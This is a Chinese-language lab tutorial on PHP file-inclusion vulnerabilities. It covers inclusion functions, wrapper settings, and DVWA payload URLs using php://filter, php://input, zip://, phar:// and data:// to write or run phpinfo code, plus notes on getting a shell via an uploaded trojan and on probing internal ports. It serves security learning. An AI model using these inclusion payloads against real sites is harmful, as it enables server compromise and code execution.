php文件包含相关的函数
include()、include_once()、require()、require_once()
它们的函数作用是:语句包含并运行指定文件
highlight_file()、show_source()
函数对文件进行高亮显示
readfile()
输出文件,读取文件并写入到输出缓冲
file_get_contents()
将整个文件读入到一个字符串
fopen()
将filename指定的名字资源绑定到一个流上
file()
把整个文件读入一个数组
file_put_contents()
将字符写入一个文件
环境
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,远程文件包含需要
获取shell
通过上传一个木马文件,非动态后缀文件即可,然后包含于它即可运行
php伪协议
http(s)
访问一个网址
受allow_url_fopen的影响
受allow_url_include的影响
file://
访问本地文件系统,当指定了一个相对路径(不以/、、或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
不受allow_url_fopen的影响
php://
访问各个输入/输出流
php://stdin 是只读
php://stdout和php://stderr是只写
php://input 是可以访问请求的原始数据的只读流, enctype="multipart/form-data" 的时候 php://input 是无效的。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
...
不受allow_url_fopen影响
php://input受allow_url_include影响
zlib:// bzip2:// zip://
不受allow_url_fopen影响
压缩流
data://
数据
受allow_url_fopen影响
受allow_url_include影响
glob://
查找匹配的文件路径模式
不受allow_url_fopen影响
不受allow_url_include影响
phar://
php归档
不受allow_url_fopen影响
不受allow_url_include影响
...(详细参考php官网)
dvwa环境实验
看看代码:
file://
绝对路径
调用phpinfo
把1.txt放入上级目录
相对路径失败
php协议
php://filter
用法参考:https://www.cnblogs.com/natian-ws/p/7242477.html
ctf:https://blog.csdn.net/itmincherry/article/details/96166423
php://filter/read
php://filter/write
源码:
http://192.168.1.172/include.php?file=php://filter/write/convert.base64-decode/resource=1.php&c=PD9waHAgcGhwaW5mbygpOz8+
这里+没有经过url编码,所以
http://192.168.1.172/include.php?file=php://filter/write/convert.base64-decode/resource=1.php&c=PD9waHAgcGhwaW5mbygpOz8%2B
经过了Url编码
php://input
需要开启allow_url_include
学习链接:http://www.nowamagic.net/academy/detail/12220520
源码:
写入phpinfo()
zip://,bzip2://,zlib://,phar://
读取压缩文件中的内容
准备好文件:
相对路径:
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=zip://../../hackable/uploads/phpinfo.zip%23phpinfo.txt
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=zip://C:/phpstudy/www/dvwa/hackable/uploads/phpinfo.zip%23phpinfo.txt
这里说明一下bzip2和zlib的用法
phar://
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/phpinfo.zip/phpinfo.txt
http(s)
探测内网端口
开放端口
未开放端口
data://
用法:data://text/plain,base64,base64编码内容
data://text/plain,正常内容
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php phpinfo();?>
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=